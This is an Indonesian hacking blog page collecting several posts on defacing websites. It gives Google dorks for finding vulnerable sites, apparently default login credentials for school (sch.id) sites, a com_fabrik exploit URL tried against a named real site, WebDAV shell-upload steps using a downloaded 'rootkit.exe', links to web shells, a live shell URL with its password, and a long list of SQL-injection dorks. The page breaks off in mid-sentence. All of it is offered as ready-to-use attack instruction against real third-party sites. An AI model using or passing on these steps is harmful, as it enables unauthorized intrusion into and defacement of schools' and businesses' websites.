BERBAGI INFORMASI: Deface

Showing posts with label Deface. Show all posts

cara deface sch.id (POC+SHELL)

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="font-size: small;">selamat pagi kali ini kita langsung saja agar tidak panjang lebar </span><br />
<br />
<div style="text-align: left;">
<span style="color: yellow;"><span style="color: black; font-family: Verdana; font-size: small;">POC :</span><span style="font-size: small;"><br style="color: black;" /></span>
<span style="color: black; font-family: Verdana; font-size: small;"><br />
<br />
1. Masukkan dork berikut ke google atau yahoo atau search engine lainnya...<br />
inurl:"/html/index.php" intext:"Tim Balitbang"<br />
inurl:"/html/index.php" intitle:"Selamat Datang"<br />
inurl:"/member/" intext:"Tim Balitbang"</span><span style="color: black; font-family: Verdana; font-size: small;">note<img alt="" border="0" src="http://forum.ifc.or.id/static/image/smiley/default/13.gif" />h iya kalo di yahoo "inurl:" diilangin ya broo <img alt="" border="0" src="http://forum.ifc.or.id/static/image/smiley/default/4.gif" /></span><span style="font-size: small;"><br style="color: black;" /></span>
<span style="color: black; font-family: Verdana; font-size: small;">contoh : </span><span style="font-size: small;"><br style="color: black;" /></span>
<span style="color: black; font-family: Verdana; font-size: small;">/html/index.php intext" tim balitbang"</span><span style="font-size: small;"><br style="color: black;" /></span>
<span style="color: black; font-family: Verdana; font-size: small;">contoh lagi:</span><span style="font-size: small;"><br style="color: black;" /></span>
<span style="color: black; font-family: Verdana; font-size: small;">/path/html/index.php intext "tim 
balitbang" site:com atau /path/html/index.php intext "tim balitbang" 
site:net atau /path/html/index.php intext "tim balitbang" site<img alt="" border="0" src="http://forum.ifc.or.id/static/image/smiley/default/17.gif" />ch.id atau sebagainya....</span><span style="font-size: small;"><br style="color: black;" /></span>
<span style="color: black; font-family: Verdana; font-size: small;"><br />
<br />
<br />
2. Nanti akan muncul banyak web dengan domain sch.id/ac.id/com/net atau yang lainnya, coba pilih salah satu.<br />
3. Masuk ke <a class="gj_safe_a" href="http://www.site.sch.id/member/index.php" target="_blank">www.site.sch.id/member/index.php</a> atau <a class="gj_safe_a" href="http://www.site.sch.id/member/user.php" target="_blank">www.site.sch.id/member/user.php</a><br />
<br />
4. Anda masuk sebagai member dengan memasukkan username dan pass berikut :<br />
</span><span style="font-size: small;"><br style="color: black;" /></span>

<span style="color: black; font-family: Verdana; font-size: small;"> user:wardjana</span><span style="font-size: small;"><br style="color: black;" /></span>
<span style="color: black; font-family: Verdana; font-size: small;">pass:123456</span><span style="font-size: small;"><br style="color: black;" /></span>
<span style="color: black; font-family: Verdana; font-size: small;">user<img alt="" border="0" src="http://forum.ifc.or.id/static/image/smiley/default/17.gif" />iswanto</span><span style="font-size: small;"><br style="color: black;" /></span>
<span style="color: black; font-family: Verdana; font-size: small;">pass:123456</span><span style="font-size: small;"><br style="color: black;" /></span>
<span style="color: black; font-family: Verdana; font-size: small;">5. Jika gak berhasil cari target lainnya masbroo jangan sedih <img alt="" border="0" src="http://forum.ifc.or.id/static/image/smiley/default/11.gif" /></span><span style="font-size: small;"><br style="color: black;" /></span>
<span style="color: black; font-family: Verdana; font-size: small;"><br />
</span><span style="font-size: small;"><br style="color: black;" /></span>
<span style="color: black; font-family: Verdana; font-size: small;">6.(kalau yang sudah bisa login) Lalu
 diapakan lagi kalau sudah masuk? Kita tanam shell/backdoor dengan cara 
pergi ke profile => tambah materi ajar => upload shell </span><span style="font-size: small;"><br style="color: black;" /></span>
<span style="color: black; font-family: Verdana; font-size: small;">7.. Jika sukses, buka shell masbroo semua di <a class="gj_safe_a" href="http://www.site.sch.id/download/namashellente.php" target="_blank">www.site.sch.id/download/namashellente.php</a></span><span style="font-size: small;"><br style="color: black;" /></span>
<span style="color: black; font-family: Verdana; font-size: small;"><br />
</span><span style="font-size: small;"><br style="color: black;" /></span>
<span style="color: black; font-family: Verdana; font-size: small;">jika sukses seperti ini hasilnya : </span><span style="font-size: small;"><br style="color: black;" /></span>
<span style="color: black; font-family: Verdana; font-size: small;">www.dikbudsigi.com</span><span style="font-size: small;"><br style="color: black;" /></span>
<span style="color: black; font-family: Verdana; font-size: small;">shellnya: <a class="gj_safe_a" href="http://www.dikbudsigi.com/functions/pocong.php" target="_blank">http://www.dikbudsigi.com/functions/pocong.php</a> (pass:kerinci) </span><span style="font-size: small;"><br style="color: black;" /></span>
<span style="color: black; font-family: Verdana; font-size: small;"> </span><span style="font-size: small;"><br style="color: black;" /></span>
<span style="font-family: Verdana;"><span style="font-size: medium;"><span style="font-size: small;"><span style="color: black;">hehehe thanks buat yang udah baca.. jangan lupa +++ nye hehe </span><img alt="" border="0" src="http://forum.ifc.or.id/static/image/smiley/default/lol.gif" style="color: black;" /><img alt="" border="0" src="http://forum.ifc.or.id/static/image/smiley/default/lol.gif" style="color: black;" /><span style="color: black;"> kalo kurang paham ane bersedia membantu </span><img alt="" border="0" src="http://forum.ifc.or.id/static/image/smiley/default/16.gif" style="color: black;" /></span></span></span></span></div>
</div>

cara deface sch.id (POC+SHELL)

selamat pagi kali ini kita langsung saja agar tidak panjang lebar POC : 1. Masukkan dork berikut ke google atau yahoo atau search en...

+ Read more »

deface ala com_fabrik

<div dir="ltr" style="text-align: left;" trbidi="on">
Selamat pagi kali ini saya akan memberikan deface ala com_fabrik<br />
<div style="text-align: left;">
<span style="font-family: Trebuchet MS; font-size: x-small;"><b><b><span style="font-family: Trebuchet MS;">Untuk
 para master, dedengkot, mbahnya hacker khususnya defacer, pasti sudah 
tidak asing lagi Exploit com_fabrik. Namun untuk newbie seperti ane 
pasti masih clingak-clinguk. Maka dari itu ane mau berbagi sesuatu bagi 
yang belom tau </span></b></b></span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-family: Trebuchet MS;"><b><b><span style="font-family: Trebuchet MS; font-size: small; font-weight: normal;">Dork :</span><span style="font-size: small; font-weight: normal;"><br /></span>
<span style="font-family: Trebuchet MS; font-size: small; font-weight: normal;">inurl:"index.php?option=com_fabrik"site:.uk (silahkan dikembangkan)</span><span style="font-size: small; font-weight: normal;"><br /></span>
<span style="font-family: Trebuchet MS; font-size: small; font-weight: normal;"><br />
</span><span style="font-size: small; font-weight: normal;"><br /></span>
<span style="font-family: Trebuchet MS; font-size: small; font-weight: normal;">Exploit :</span><span style="font-size: small; font-weight: normal;"><br /></span>
<span style="font-family: Trebuchet MS; font-size: small; font-weight: normal;">index.php?option=com_fabrik&amp;c=import&amp;view=import&amp;filetype=csv&amp;tableid=1echercher</span><span style="font-size: small; font-weight: normal;"><br /></span>
<span style="font-family: Trebuchet MS;"><br />
</span><br />
<span style="font-family: Trebuchet MS;"><br />
</span><br />
<span style="font-family: Trebuchet MS; font-size: small; font-weight: normal;">Langkah2nya :</span><span style="font-size: small; font-weight: normal;"><br /></span>
<span style="font-family: Trebuchet MS; font-size: small; font-weight: normal;">Buka mbah google.com</span><span style="font-size: small; font-weight: normal;"><br /></span>
<span style="font-family: Trebuchet MS; font-size: small; font-weight: normal;">Masukkan Dorknya tadi inurl:"inurl:"index.php?option=com_fabrik"site:.uk"</span><span style="font-size: small; font-weight: normal;"><br /></span>
<span style="font-family: Trebuchet MS; font-size: small; font-weight: normal;">Pilih target. Misal kita mendapat <a class="gj_safe_a" href="http://www.case-stores.de/index.php?option=com_fabrik&amp;lang=de" target="_blank">http://www.case-stores.de/index. ... rik&amp;lang=de</a></span><span style="font-size: small; font-weight: normal;"><br /></span>
<span style="font-family: Trebuchet MS; font-size: small; font-weight: normal;">Setelah menemukan target, ganti (explotasi) URLnya hingga menjadi <a class="gj_safe_a" href="http://www.case-stores.de/index.php?option=com_fabrik&amp;c=import&amp;view=import&amp;filetype=csv&amp;tableid=1echercher" target="_blank">http://www.case-stores.de/index. ... ;tableid=1echercher</a></span><span style="font-size: small; font-weight: normal;"><br /></span>
<span style="font-family: Trebuchet MS;"><span style="font-size: small; font-weight: normal;">[img]</span>
<br />
maka hasil nya seperti ini ,kalo tidak seperti ini mending cari yang lain <br />
<img alt="" border="0" class="zoom" id="aimg_T14Bt" src="http://i1320.photobucket.com/albums/u537/vhera123/3_zps5c343d96.jpg" width="600" /><br />
<br />
<span style="font-size: small;">Upload shell ente Dan untuk melihat shell yang telah di upload, buka <a class="gj_safe_a" href="http://www.target.com/media/shell.php" style="font-weight: normal;" target="_blank">www.target.com/media/shell.php</a></span>
<br />
<img alt="" border="0" class="zoom" height="500" id="aimg_MQB4f" src="http://i1320.photobucket.com/albums/u537/vhera123/4_zps8cde2690.jpg" width="500" /><br />
</span><br />
<span style="font-family: Trebuchet MS;"><span style="font-size: small; font-weight: normal;">seperti ini ,sekarang kita udah masuk ke web tersebut tinggal ganti index nya</span>
<br />
<img alt="" border="0" class="zoom" height="500" id="aimg_mqdZR" src="http://i1320.photobucket.com/albums/u537/vhera123/5_zpsfe8fbe56.jpg" width="500" /></span><br />
<span style="font-family: Trebuchet MS; font-size: small; font-weight: normal;">dan taraaaaaaaa lihat hasil nya kita telah berhasil mendaface web tersebut </span><span style="font-size: small;"><br style="font-weight: normal;" /></span>
<span style="font-family: Trebuchet MS;"><br />
</span><br />
<span style="font-family: Trebuchet MS;"><br />
</span><br />
<span style="font-family: Trebuchet MS; font-size: small; font-weight: normal;">Mudah banget kan??? </span><span style="font-size: small;"><br style="font-weight: normal;" /></span>
<span style="font-family: Trebuchet MS;"><span style="font-size: small;"><span style="font-weight: normal;">Oke, selamat berburuuuuuuuuu </span></span></span></b></b></span><span style="font-family: Trebuchet MS; font-size: x-small;"><b><b><span style="font-family: Trebuchet MS;"></span></b></b></span></div>
<div style="text-align: left;">
<span style="font-family: Trebuchet MS; font-size: x-small;"><b><b><span style="font-family: Trebuchet MS;"><br /></span></b></b></span></div>
<div style="text-align: left;">
<span style="font-family: Trebuchet MS; font-size: x-small;"><b><b><span style="font-family: Trebuchet MS;"><br /></span></b></b></span></div>
<div style="text-align: left;">
<span style="font-family: Trebuchet MS; font-size: x-small;"><b><b><span style="font-family: Trebuchet MS;">semoga bermanfaat untuk kita semua ^_^</span></b></b></span></div>
</div>

deface ala com_fabrik

Selamat pagi kali ini saya akan memberikan deface ala com_fabrik Untuk para master, dedengkot, mbahnya hacker khususnya defacer, pasti s...

+ Read more »

shell dari berbagai tipe

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="312" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgpCjHG9JQDguYpex2IIK67PMNDrCQpw76fMUZmpV00DJFwX-H8da59ByQ4Wmfd2q4OfpH2qodcdu3za4YP4UBWLIT9FdxLc2Uu4ACvxgEgoqDj2g7o99nBn7JjLtVR3mEthN1ksBFpm6M/s320/ada.jpg" width="320" /><br /><br /><div style="text-align: left;">
ok kali ini saya akan memberikan shell berbagai tipe nah langsung saja agar tidak lama-lama<br /> gak cocok kalau deface tanpa shell<br />
sekarang saya akan share shell dari beberapa tipe, wkkwkw<br />
langsung aja ke perkara</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<a href="http://adf.ly/aUDiI" target="_blank">DOWNLOAD </a></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
semoga bermanfaat untuk kita semua </div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
sumber: http://www.borneocyberteam.com/2013/10/kemarin-kemarin-kan-saya-kan-share.html</div>
</div>
</div>

shell dari berbagai tipe

ok kali ini saya akan memberikan shell berbagai tipe nah langsung saja agar tidak lama-lama gak cocok kalau deface tanpa shell sekarang...

+ Read more »

Cara Deface Web Dengan Webdav

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<div style="text-align: center;">
<img border="0" height="163" src="http://4.bp.blogspot.com/--n23K43pjD0/UMseX2LF7eI/AAAAAAAAAjM/y6p_eH1xgFw/s200/cats.jpg" width="200" /></div>
<br />selamat pagi kali ini saya akan memberikan cara deface web dengan webdav nah saya ingin bertanya dulu sebelum menjadi deface.  Apakah anda ingin belajar deface? Apakah deface itu 
sulit? Tentu, deface sebuah web tidaklah semudah kelihatannya. Perlu 
banyak belajar untuk melakukan deface. Nah, ini ada sebuah tools untuk 
membantu anda melakukan deface.</div>
<div class="separator" style="clear: both; text-align: center;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
<br />
<div style="text-align: left;">
<a href="http://www.blogger.com/null" name="more"></a>Berikut cara penggunaannya<br />
<br />
1. Download terlebih dahulu tools rootkit <a href="http://adf.ly/aUDPC" target="_blank">disini</a><br />
<br />
2. Setelah mengunduhnya. Buka aplikasi rootkit.exe<br />
<br />
3. Nanti akan muncul seperti ini </div>
<div style="text-align: left;">
 </div>
<div style="text-align: left;">
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="261" src="http://4.bp.blogspot.com/--n23K43pjD0/UMseX2LF7eI/AAAAAAAAAjM/y6p_eH1xgFw/s320/cats.jpg" width="320" /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
Nah pilih webdav -> asp shell maker<br />
<br />
4. Nanti akan muncul jendela seperti ini<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="380" src="http://2.bp.blogspot.com/-CG_6ogJiXG0/UMsgP-g6VJI/AAAAAAAAAjU/26UyJpeEyXM/s400/cats.jpg" width="400" /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
Pertama - tama anda bisa men-setting shell anda dengan klik "setting"<br />
<br />
5. Pada kolom "write your shell here" isikan dengan shell milik anda<br />
<br />
6. Lalu pada kolom "name of your shell", ganti dengan nama shell 
sesukamu misal : androidnymous.html ataupun androidnymous.asp;.txt<br />
<br />
7. Jika sudah, klik "hide me"<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="320" src="http://3.bp.blogspot.com/-I4F03dhC84w/UMtFirDtlDI/AAAAAAAAAlE/IBiydo4EzCQ/s320/cats.jpg" width="165" /></div>
<br />
Bagi yang tidak punya shell tidak usah men-setting shell, biarkan saja seperti yang ada<br />
<br />
8. Setelah itu anda masukkan link web target anda dengan cara klik "add site" lalu paste linknya disitu dan klik "ok"<br />
<br />
9. Setelah itu klik "serang !!!"<br />
<br />
10. Tunggu beberapa saat, jika berhasil maka akan muncul tulisan "shell 
created" dan muncul link shell kalian. Jika muncul tulisan "not 
vulnerable dav" berarti anda gagal. Anda tidak bisa menanam shell di 
situs tersebut. Coba dengan target yang lain<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="304" src="http://3.bp.blogspot.com/-0pXsqWfJEzg/UMtHCUvtjzI/AAAAAAAAAlM/Guulrm2_UiE/s320/cats.jpg" width="320" /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
11. Jika berhasil, kalian copy link shell yang muncul ke address bar dan enter<br />
<br />
12. Nanti kalian akan berada pada tautan seperti ini<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="217" src="http://1.bp.blogspot.com/-t_MXvkBk9QI/UMtIMq9kYRI/AAAAAAAAAlU/eSiNdmayqxM/s400/cats.jpg" width="400" /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
13. Untuk menghajar index'nya, anda cari file yang berisi index dengan bantuan ctrl + f<br />
<br />
14. Jika ketemu, anda klik gambar pensil di sebelah kanannya<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<img border="0" src="http://4.bp.blogspot.com/-X1gHHAuYR1E/UMtKgHLaGAI/AAAAAAAAAlc/o5uTSYDsBMc/s1600/cats.jpg" /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
15. Setelah anda klik, anda hapus semua text yang ada pada kotak dan ganti dengan script deface kalian. Lalu klik "kaydet"<br />
<br />
16. Selesai, kini anda berhasil mendeface situs tersebut.<br />
<br />
Ini contoh deface punya saya <a href="http://goldmall.biz/" target="_blank">http://goldmall.biz/</a><br />
<br />
17. Namun jika file index tidak bisa diubah, anda cukup mengubah shell 
yang anda upload dengan webdav tadi dengan script deface anda seperti 
cara nomor 14 dan 15<br />
<br />
18. Untuk melihat hasilnya, anda ketik di address bar dengan format penulisan berikut<br />
<span style="color: orange;">http://www.target.com/shellkalian.html</span><br />
<span style="color: orange;"><br /></span>
Contoh : <span style="color: orange;">http://www.designmonic.se/blabla.html</span><br />
<span style="color: orange;">.</span><br />
19. Dan akan muncul tampilan deface punya anda<br />
<br />
Untuk mencari target bisa anda cari <a href="http://ramadhanlmzero.blogspot.com/2012/12/kumpulan-dork-untuk-mencari-target.html" target="_blank">disini</a>
<br />tapi insyaallah nanti saya akan share web yg vuln webdav</div>
<div style="text-align: left;">
 </div>
<div style="text-align: left;">
Sumber:  http://www.borneocyberteam.com/2013/10/cara-deface-web-dengan-webdav-anda.html </div>
</div>
</div>

Cara Deface Web Dengan Webdav

selamat pagi kali ini saya akan memberikan cara deface web dengan webdav nah saya ingin bertanya dulu sebelum menjadi deface. Apakah an...

+ Read more »

Kumpulan Dork Untuk Mencari Target Deface Dengan Teknik SQL

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="140" src="http://2.bp.blogspot.com/-cTqk2d4ZO-c/UQLZ7eMszLI/AAAAAAAABIQ/Ov1eWliHeIU/s200/cats.jpg" width="200" /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
ok kali ini saya akan memberikan contoh-contoh dork sehingga kita tahu web mana yang vuln. Berikut beberapa contoh dork yang bisa digunakan.</div>
<div class="separator" style="clear: both; text-align: left;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
 </div>
<div class="separator" style="clear: both; text-align: center;">
<div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
</div>
<div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
intext:"error in your SQL syntax" +site:my<br />
intext:"mysql_num_rows()" +site:il<br />
intext:"mysql_fetch_array()" +site:br<br />
intext:"Error Occurred While Processing Request" +site:il<br />
intext:"Server Error in '/' Application" +site:my<br />
intext:"Microsoft OLE DB Provider for ODBC Drivers error" +site:br<br />
intext:"Invalid Querystring" +site:my<br />
intext:"OLE DB Provider for ODBC" +site:my<br />
intext:"VBScript Runtime" +site:my<br />
intext:"ADODB.Field" +site:my<br />
intext:"BOF or EOF"+site:my intext:"ADODB.Command" +site:my intext:"JET Database" +site:my<br />
intext:"mysql_fetch_row()" +site:my intext:"Syntax error" +site:my intext:"include()" +site:my<br />
intext:"mysql_fetch_assoc()" +site:my intext:"mysql_fetch_object()" +site:my intext:"mysql_numrows()" +site:il<br />
intext:"GetArray()" +site:my intext:"FetchRow()" +site:my<br />
intext:"Input string was not in a correct format" +site:my<br />
<br />
allinurl:xml.php?id=<br />
allinurl:xml.php?code=<br />
allinurl:xml.php?code= module_ID=<br />
<br />
inurl:index.php?id=<br />
inurl:trainers.php?id=<br />
inurl:buy.php?category=<br />
inurl:article.php?ID=<br />
inurl:play_old.php?id=<br />
inurl:declaration_more.php?decl_id=<br />
inurl:Pageid=<br />
inurl:games.php?id=<br />
inurl:page.php?file=<br />
inurl:newsDetail.php?id=<br />
inurl:gallery.php?id=<br />
inurl:article.php?id=<br />
inurl:show.php?id=<br />
inurl:staff_id=<br />
inurl:newsitem.php?num=<br />
inurl:readnews.php?id=<br />
inurl:top10.php?cat=<br />
inurl:historialeer.php?num=<br />
inurl:reagir.php?num=<br />
inurl:forum_bds.php?num=<br />
inurl:game.php?id=<br />
inurl:view_product.php?id=<br />
inurl:newsone.php?id=<br />
inurl:sw_comment.php?id=<br />
inurl:news.php?id=<br />
inurl:avd_start.php?avd=<br />
inurl:event.php?id=<br />
inurl:product-item.php?id=<br />
inurl:sql.php?id=<br />
inurl:news_view.php?id=<br />
inurl:select_biblio.php?id=<br />
inurl:humor.php?id=<br />
inurl:aboutbook.php?id=<br />
inurl:fiche_spectacle.php?id=<br />
inurl:communique_detail.php?id=<br />
inurl:sem.php3?id=<br />
inurl:kategorie.php4?id=<br />
inurl:news.php?id=<br />
inurl:index.php?id=<br />
inurl:faq2.php?id=<br />
inurl:show_an.php?id=<br />
inurl:preview.php?id=<br />
inurl:loadpsb.php?id=<br />
inurl:opinions.php?id=<br />
inurl:spr.php?id=<br />
nurl:pages.php?id=<br />
inurl:announce.php?id=<br />
inurl:clanek.php4?id=<br />
inurl:participant.php?id=<br />
inurl:download.php?id=<br />
inurl:main.php?id=<br />
inurl:review.php?id=<br />
inurl:chappies.php?id=<br />
inurl:read.php?id=<br />
inurl:prod_detail.php?id=<br />
inurl:viewphoto.php?id=<br />
inurl:article.php?id=<br />
inurl:person.php?id=<br />
inurl:productinfo.php?id=<br />
inurl:showimg.php?id=<br />
inurl:view.php?id=<br />
inurl:website.php?id=<br />
inurl:hosting_info.php?id=<br />
inurl:gallery.php?id=<br />
inurl:rub.php?idr=<br />
inurl:view_faq.php?id=<br />
inurl:artikelinfo.php?id=<br />
inurl:detail.php?ID=<br />
inurl:index.php?=<br />
inurl:profile_view.php?id=<br />
inurl:category.php?id=<br />
inurl:publications.php?id=<br />
inurl:fellows.php?id=<br />
inurl:downloads_info.php?id=<br />
inurl:prod_info.php?id=<br />
inurl:shop.php?do=part&id=<br />
inurl:Productinfo.php?id=<br />
inurl:collectionitem.php?id=<br />
inurl:band_info.php?id=<br />
inurl:product.php?id=<br />
inurl:releases.php?id=<br />
inurl:ray.php?id=<br />
inurl:produit.php?id=<br />
inurl:pop.php?id=<br />
inurl:shopping.php?id=<br />
inurl:productdetail.php?id=<br />
inurl:post.php?id=<br />
inurl:viewshowdetail.php?id=<br />
inurl:clubpage.php?id=<br />
inurl:memberInfo.php?id=<br />
inurl:section.php?id=<br />
inurl:theme.php?id=<br />
inurl:page.php?id=<br />
inurl:shredder-categories.php?id=<br />
inurl:tradeCategory.php?id=<br />
inurl:product_ranges_view.php?ID=<br />
inurl:shop_category.php?id=<br />
inurl:transcript.php?id=<br />
inurl:channel_id= inurl:item_id=<br />
inurl:newsid=<br />
inurl:trainers.php?id=<br />
inurl:news-full.php?id=<br />
inurl:news_display.php?getid=<br />
inurl:index2.php?option=<br />
inurl:readnews.php?id=<br />
inurl:top10.php?cat=<br />
inurl:newsone.php?id=<br />
inurl:event.php?id=<br />
inurl:product-item.php?id=<br />
inurl:sql.php?id=<br />
inurl:aboutbook.php?id=<br />
inurl:review.php?id=<br />
inurl:loadpsb.php?id=<br />
inurl:ages.php?id=<br />
inurl:material.php?id=<br />
inurl:clanek.php4?id=<br />
inurl:announce.php?id=<br />
inurl:chappies.php?id=<br />
inurl:read.php?id=<br />
inurl:viewapp.php?id=<br />
inurl:viewphoto.php?id=<br />
inurl:rub.php?idr=<br />
inurl:galeri_info.php?l=<br />
inurl:review.php?id=<br />
inurl:iniziativa.php?in=<br />
inurl:curriculum.php?id=<br />
inurl:labels.php?id=<br />
inurl:story.php?id=<br />
inurl:look.php?ID=<br />
inurl:newsone.php?id=<br />
inurl:aboutbook.php?id=<br />
inurl:material.php?id=<br />
inurl:opinions.php?id=<br />
inurl:announce.php?id=<br />
inurl:rub.php?idr=<br />
inurl:galeri_info.php?l=<br />
inurl:tekst.php?idt=<br />
inurl:newscat.php?id=<br />
inurl:newsticker_info.php?idn=<br />
inurl:rubrika.php?idr=<br />
inurl:rubp.php?idr=<br />
inurl:offer.php?idf=<br />
inurl:art.php?idm=<br />
inurl:title.php?id=<br />
inurl:trainers.php?id=<br />
inurl:article.php?ID=<br />
inurl:play_old.php?id=<br />
inurl:declaration_more.php?decl_id=<br />
inurl:Pageid=<br />
inurl:games.php?id=<br />
inurl:newsDetail.php?id=<br />
inurl:staff_id=<br />
inurl:historialeer.php?num=<br />
inurl:product-item.php?id=<br />
inurl:news_view.php?id=<br />
inurl:humor.php?id=<br />
inurl:communique_detail.php?id=<br />
inurl:sem.php3?id=<br />
inurl:opinions.php?id=<br />
inurl:spr.php?id=<br />
inurl:pages.php?id=<br />
inurl:chappies.php?id=<br />
inurl:prod_detail.php?id=<br />
inurl:viewphoto.php?id=<br />
inurl:view.php?id=<br />
inurl:website.php?id=<br />
inurl:hosting_info.php?id=<br />
inurl:gery.php?id=<br />
inurl:detail.php?ID=<br />
inurl:publications.php?id=<br />
inurl:Productinfo.php?id=<br />
inurl:releases.php?id=<br />
inurl:ray.php?id=<br />
inurl:produit.php?id=<br />
inurl:pop.php?id=<br />
inurl:shopping.php?id=<br />
inurl:productdetail.php?id=<br />
inurl:post.php?id= section.php?id=<br />
inurl:theme.php?id=<br />
inurl:page.php?id=<br />
inurl:shredder-categories.php?id=<br />
inurl:product_ranges_view.php?ID=<br />
inurl:shop_category.php?id=<br />
inurl:channel_id=<br />
inurl:newsid=<br />
inurl:news_display.php?getid=<br />
inurl:ages.php?id=<br />
inurl:clanek.php4?id=<br />
inurl:review.php?id=<br />
inurl:iniziativa.php?in=<br />
inurl:curriculum.php?id=<br />
inurl:labels.php?id=<br />
inurl:look.php?ID=<br />
inurl:galeri_info.php?l=<br />
inurl:tekst.php?idt=<br />
inurl:newscat.php?id=<br />
inurl:newsticker_info.php?idn=<br />
inurl:rubrika.php?idr=<br />
inurl:offer.php?idf=<br />
<br />
"id=" & intext:"Warning: mysql_fetch_array()<br />
"id=" & intext:"Warning: getimagesize()<br />
"id=" & intext:"Warning: session_start()<br />
"id=" & intext:"Warning: mysql_num_rows()<br />
"id=" & intext:"Warning: mysql_query()<br />
"id=" & intext:"Warning: array_merge()<br />
"id=" & intext:"Warning: preg_match()<br />
"id=" & intext:"Warning: ilesize()<br />
"id=" & intext:"Warning: filesize()<br />
<br />
inurl:index.php?id=<br />
inurl:buy.php?category=<br />
inurl:article.php?ID=<br />
inurl:play_old.php?id=<br />
inurl:newsitem.php?num=<br />
inurl:top10.php?cat=<br />
inurl:historialeer.php?num=<br />
inurl:reagir.php?num=<br />
inurl:Stray-Questions-View.php?num=<br />
inurl: forum_bds.php?num=<br />
inurl:game.php?id=<br />
inurl:view_product.php?id=<br />
inurl:sw_comment.php?id=<br />
inurl:news.php?id=<br />
inurl:avd_start.php?avd=<br />
inurl:event.php?id=<br />
inurl:sql.php?id=<br />
inurl:news_view.php?id=<br />
inurl:select_biblio.php?id=<br />
inurl:humor.php?id=<br />
inurl:ogl_inet.php?ogl_id=<br />
inurl:fiche_spectacle.php?id=<br />
inurl:communique_detail.php?id=<br />
inurl:sem.php3?id=<br />
inurl:kategorie.php4?id=<br />
inurl:faq2.php?id=<br />
inurl:show_an.php?id=<br />
inurl:preview.php?id=<br />
inurl:loadpsb.php?id=<br />
inurl:opinions.php?id=<br />
inurl:spr.php?id=<br />
inurl:announce.php?id=<br />
inurl:participant.php?id=<br />
inurl:download.php?id=<br />
inurl:main.php?id=<br />
inurl:review.php?id=<br />
inurl:chappies.php?id=<br />
inurl:read.php?id=<br />
inurl:prod_detail.php?id=<br />
inurl:article.php?id=<br />
inurl:person.php?id=<br />
inurl:productinfo.php?id=<br />
inurl:showimg.php?id=<br />
inurl:view.php?id=<br />
inurl:website.php?id=<br />
inurl:hosting_info.php?id=<br />
inurl:gery.php?id=<br />
inurl:rub.php?idr=<br />
inurl:view_faq.php?id=<br />
inurl:artikelinfo.php?id=<br />
inurl:detail.php?ID=<br />
inurl:index.php?=<br />
inurl:profile_view.php?id=<br />
inurl:category.php?id=<br />
inurl:publications.php?id=<br />
inurl:fellows.php?id=<br />
inurl:downloads_info.php?id=<br />
inurl:prod_info.php?id=<br />
inurl:shop.php?do=part&id=<br />
inurl:collectionitem.php?id=<br />
inurl:band_info.php?id=<br />
inurl:product.php?id=<br />
inurl:releases.php?id=<br />
inurl:ray.php?id=<br />
inurl:produit.php?id=<br />
inurl:pop.php?id=<br />
inurl:shopping.php?id=<br />
inurl:productdetail.php?id=<br />
inurl:post.php?id=<br />
inurl:viewshowdetail.php?id=<br />
inurl:clubpage.php?id=<br />
inurl:memberInfo.php?id=<br />
inurl:section.php?id=<br />
inurl:theme.php?id=<br />
inurl:page.php?id=<br />
inurl:shredder-categories.php?id=<br />
inurl:tradeCategory.php?id=<br />
inurl:product_ranges_view.php?ID=<br />
inurl:shop_category.php?id=<br />
inurl:transcript.php?id=<br />
inurl:channel_id=<br />
inurl:item_id=<br />
inurl:newsid=<br />
inurl:trainers.php?id=<br />
inurl:news-full.php?id=<br />
inurl:news_display.php?getid=<br />
inurl:index2.php?option=<br />
inurl:readnews.php?id=<br />
inurl:newsone.php?id=<br />
inurl:product-item.php?id=<br />
inurl:pages.php?id=<br />
inurl:clanek.php4?id=<br />
inurl:viewapp.php?id=<br />
inurl:viewphoto.php?id=<br />
inurl:galeri_info.php?l=<br />
inurl:iniziativa.php?in=<br />
inurl:curriculum.php?id=<br />
inurl:labels.php?id=<br />
inurl:story.php?id=<br />
inurl:look.php?ID=<br />
inurl:aboutbook.php?id=<br />
<br />
"id=" & intext:"Warning: mysql_fetch_assoc()<br />
"id=" & intext:"Warning: is_writable()<br />
"id=" & intext:"Warning: Unknown()<br />
"id=" & intext:"Warning: mysql_result()<br />
"id=" & intext:"Warning: pg_exec()<br />
"id=" & intext:"Warning: require()<br />
<br />
Untuk mengetahui vulnerability'nya, anda tambahkan tanda petik ' pada 
belakang url dari hasil dork tersebut. Misal 
